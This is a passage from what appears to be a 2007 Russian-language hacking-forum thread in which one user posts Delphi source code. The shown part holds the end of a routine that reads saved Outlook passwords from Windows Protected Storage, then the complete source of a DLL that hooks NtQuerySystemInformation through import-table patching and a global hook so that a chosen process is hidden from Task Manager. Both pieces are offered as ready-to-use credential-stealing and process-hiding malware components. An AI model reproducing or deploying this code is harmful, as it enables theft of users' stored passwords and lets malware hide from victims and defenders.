//  pass:='Connected to ' + PStorageGetProviderInfo.ProviderName + '...'#13#10; 
//Загоняем в TypesList интерфейс главных ветвей 
  ppEnum := nil; 
  if (FProvider.EnumTypes(0, 0, ppEnum) <> S_OK) or (ppEnum = nil) then 
  begin 
    Exit; 
    ppEnum := nil; 
  end; 
  ItemsRead := 0; 
  repeat 
    ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead); 
    if ItemsRead > 0 then 
    begin 
      SetLength(TypesList,ItemsRead); 
      for i := 0 to ItemsRead-1 do TypesList[i]:=GUIDBuf[i]; 
    end; 
  until ItemsRead = 0; 
  ppEnum := nil; 
//Считываем значения главных ветвей 
  for i := 0 to high(TypesList) do 
  begin 
    New(pType); 
    pType.T := 0; 
    pType.pType := TypesList[i]; 
    ReadValue(PStorageGetTypeName(TypesList[i]), 0, pType.pType, pType.pType); 
//Забираем из главных ветвей подветви в SubTypesList 
    ppEnum := nil; 
    if (FProvider.EnumSubTypes(0, pType.pType, 0, ppEnum) <> S_OK) or (ppEnum = nil) then 
    begin 
      Exit; 
      ppEnum := nil; 
    end; 
    ItemsRead := 0; 
    repeat 
      ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead); 
      if ItemsRead > 0 then 
      begin 
        SetLength(SubTypesList,ItemsRead); 
        for i2 := 0 to ItemsRead-1 do SubtypesList[i2]:=GUIDBuf[i2]; 
      end; 
    until ItemsRead = 0; 
    ppEnum := nil; 
//Считываем значения подветвей 
    for j := 0 to high(SubtypesList) do 
    begin 
      New(pSubtype); 
      pSubtype.T := 1; 
      pSubtype.pType := pType.pType; 
      pSubtype.pSubtype := SubTypesList[j]; 
      ReadValue(PStorageGetSubtypeName(pType.pType,pSubtype.pSubtype), 1, pType.pType, pSubtype.pSubtype); 
//Забираем значения подветвей в ItemsList 
      ppEnumItems := nil; 
      if (FProvider.EnumItems(0, pType.pType, pSubtype.pSubtype, 0, ppEnumItems) <> S_OK) or (ppEnumItems = nil) then 
      begin 
        Exit; 
        ppEnumItems := nil; 
      end; 
      ItemsRead := 0; 
      repeat 
        ppEnumItems.Next(SizeOf(ItemBuf) div SizeOf(ItemBuf[0]), ItemBuf[0], ItemsRead); 
        if ItemsRead > 0 then 
        begin 
          SetLength(ItemsList,ItemsRead); 
          for i3 := 0 to ItemsRead-1 do 
          begin 
            ItemsList[i3]:=String(ItemBuf[i3]); 
            CoTaskMemFree(ItemBuf[i3]); 
          end; 
        end; 
      until ItemsRead = 0; 
      ppEnumItems := nil; 
//Считываем то, ради чего всё и затеяли 
      for k := 0 to high(ItemsList) do 
      begin 
        New(pItem); 
        pItem.T := 2; 
        pItem.pType := pType.pType; 
        pItem.pSubtype := pSubtype.pSubtype; 
        pItem.pItem := ItemsList[k]; 
        ReadValue(pItem.pItem, 2, pType.pType, pSubtype.pSubtype); 
      end; 
    end; 
  end; 
end; 

function GetOutlookPass: string; 
begin 
  if not(InitLib) then exit;           //подгружаем dll 
  if not(PStorageConnect) then exit;  //соединяемся 
  ExpandPSProvider;  //получаем данные 
  //Завершаем работу.. 
  FProvider:=nil; 
  FreeLibrary(FLibrary); 
  result:=pass; 
end; 

end.
     
    #2 Knight_of_Darkness, 15 Jul 2007
  3. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    nthide.dll - для сокрытия процессов в WinXP

    Code:
    
library hide; 
uses 
 Windows, 
 SysUtils, 
 ImageHlp, 
 TlHelp32; 
type SYSTEM_INFORMATION_CLASS = ( 
 SystemBasicInformation, 
 SystemProcessorInformation, 
 SystemPerformanceInformation, 
 SystemTimeOfDayInformation, 
 SystemNotImplemented1, 
 SystemProcessesAndThreadsInformation, 
 SystemCallCounts, 
 SystemConfigurationInformation, 
 SystemProcessorTimes, 
 SystemGlobalFlag, 
 SystemNotImplemented2, 
 SystemModuleInformation, 
 SystemLockInformation, 
 SystemNotImplemented3, 
 SystemNotImplemented4, 
 SystemNotImplemented5, 
 SystemHandleInformation, 
 SystemObjectInformation, 
 SystemPagefileInformation, 
 SystemInstructionEmulationCounts, 
 SystemInvalidInfoClass1, 
 SystemCacheInformation, 
 SystemPoolTagInformation, 
 SystemProcessorStatistics, 
 SystemDpcInformation, 
 SystemNotImplemented6, 
 SystemLoadImage, 
 SystemUnloadImage, 
 SystemTimeAdjustment, 
 SystemNotImplemented7, 
 SystemNotImplemented8, 
 SystemNotImplemented9, 
 SystemCrashDumpInformation, 
 SystemExceptionInformation, 
 SystemCrashDumpStateInformation, 
 SystemKernelDebuggerInformation, 
 SystemContextSwitchInformation, 
 SystemRegistryQuotaInformation, 
 SystemLoadAndCallImage, 
 SystemPrioritySeparation, 
 SystemNotImplemented10, 
 SystemNotImplemented11, 
 SystemInvalidInfoClass2, 
 SystemInvalidInfoClass3, 
 SystemTimeZoneInformation, 
 SystemLookasideInformation, 
 SystemSetTimeSlipEvent, 
 SystemCreateSession, 
 SystemDeleteSession, 
 SystemInvalidInfoClass4, 
 SystemRangeStartInformation, 
 SystemVerifierInformation, 
 SystemAddVerifier, 
 SystemSessionProcessesInformation 
); 
_IMAGE_IMPORT_DESCRIPTOR = packed record 
  case Integer of 
   0:( 
    Characteristics: DWORD); 
   1:( 
    OriginalFirstThunk:DWORD; 
    TimeDateStamp:DWORD; 
    ForwarderChain: DWORD; 
    Name: DWORD; 
    FirstThunk: DWORD); 
   end; 
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; 
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; 
PFARPROC=^FARPROC; 
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); 
var     ulSize: ULONG; 
   pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; 
    pszModName: PChar; 
        pThunk: PDWORD; ppfn:PFARPROC; 
        ffound: LongBool; 
       written: DWORD; 
begin 
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); 
  if pImportDesc = nil then exit; 
  while pImportDesc.Name<>0 do 
   begin 
    pszModName := PChar(hmodCaller + pImportDesc.Name); 
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; 
    Inc(pImportDesc); 
   end; 
  if (pImportDesc.Name = 0) then exit; 
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); 
  while pThunk^<>0 do 
   begin 
    ppfn := PFARPROC(pThunk); 
    fFound := (ppfn^ = pfnCurrent); 
     if (fFound) then 
      begin 
       VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); 
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); 
       exit; 
      end; 
    Inc(pThunk); 
   end; 
end; 
var 
 addr_NtQuerySystemInformation: Pointer; 
 mypid: DWORD; 
 fname: PCHAR; 
 mapaddr: PDWORD; 
 hideOnlyTaskMan: PBOOL; 
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; 
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall; 
label onceagain, getnextpidstruct, quit, fillzero; 
asm 
 push ReturnLength 
 push SystemInformationLength 
 push SystemInformation 
 push dword ptr SystemInformationClass 
 call dword ptr [addr_NtQuerySystemInformation] 
 or eax,eax 
 jl quit 
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation 
 jne quit 
 onceagain: 
 mov esi, SystemInformation 
 getnextpidstruct: 
 mov ebx, esi 
 cmp dword ptr [esi],0 
 je quit 
 add esi, [esi] 
 mov ecx, [esi+44h] 
 cmp ecx, mypid 
 jne getnextpidstruct 
 mov edx, [esi] 
 test edx, edx 
 je fillzero 
 add [ebx], edx 
 jmp onceagain 
 fillzero: 
 and [ebx], edx 
 jmp onceagain 
 quit: 
 mov Result, eax 
end 
procedure InterceptFunctions; 
var hSnapShot: THandle; 
         me32: MODULEENTRY32; 
begin 
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
  if hSnapshot=INVALID_HANDLE_VALUE then exit; 
   try 
    ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
    me32.dwSize:=sizeof(MODULEENTRY32); 
    Module32First(hSnapShot,me32); 
     repeat 
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); 
     until not Module32Next(hSnapShot,me32); 
   finally 
    CloseHandle(hSnapShot); 
   end; 
end; 
procedure UninterceptFunctions; 
var hSnapShot: THandle; 
         me32: MODULEENTRY32; 
begin 
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
  if hSnapshot=INVALID_HANDLE_VALUE then exit; 
  try 
   ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
   me32.dwSize:=sizeof(MODULEENTRY32); 
   Module32First(hSnapShot,me32); 
    repeat 
     ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); 
    until not Module32Next(hSnapShot,me32); 
  finally 
   CloseHandle(hSnapShot); 
  end; 
end; 
var HookHandle: THandle; 
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; 
begin 
 Result:=0; 
end; 
procedure InstallHook; stdcall; 
begin 
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); 
end; 
var hFirstMapHandle:THandle; 
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall; 
var addrMap: PDWORD; 
       ptr2: PBOOL; 
begin 
 mypid:=0; 
 result:=false; 
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping'); 
  if hFirstMapHandle=0 then exit; 
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8); 
  if addrMap=nil then 
   begin 
    CloseHandle(hFirstMapHandle); 
    exit; 
   end; 
 addrMap^:=pid; 
 ptr2:=PBOOL(DWORD(addrMap)+4); 
 ptr2^:=HideOnlyFromTaskManager; 
 UnmapViewOfFile(addrMap); 
 InstallHook; 
 result:=true; 
end; 
exports 
 HideProcess; 
var 
 hmap: THandle; 
procedure LibraryProc(Reason: Integer); 
begin 
 if Reason = DLL_PROCESS_DETACH then 
  if mypid > 0 then 
   UninterceptFunctions() 
 else 
  CloseHandle(hFirstMapHandle); 
end; 
begin 
 hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping'); 
  if hmap=0 then exit; 
  try 
   mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); 
    if mapaddr=nil then exit; 
   mypid:=mapaddr^; 
   hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4); 
    if hideOnlyTaskMan^ then 
     begin 
      fname:=allocMem(MAX_PATH+1); 
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1); 
       if not (ExtractFileName(fname)='taskmgr.exe') then exit; 
     end; 
   InterceptFunctions; 
  finally 
   UnmapViewOfFile(mapaddr); 
   CloseHandle(Hmap); 
   DLLProc:=@LibraryProc; 
  end; 
end.
     
    #3 Knight_of_Darkness, 15 Jul 2007
    1 person likes this.
(You must log in or sign up to post here.)
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.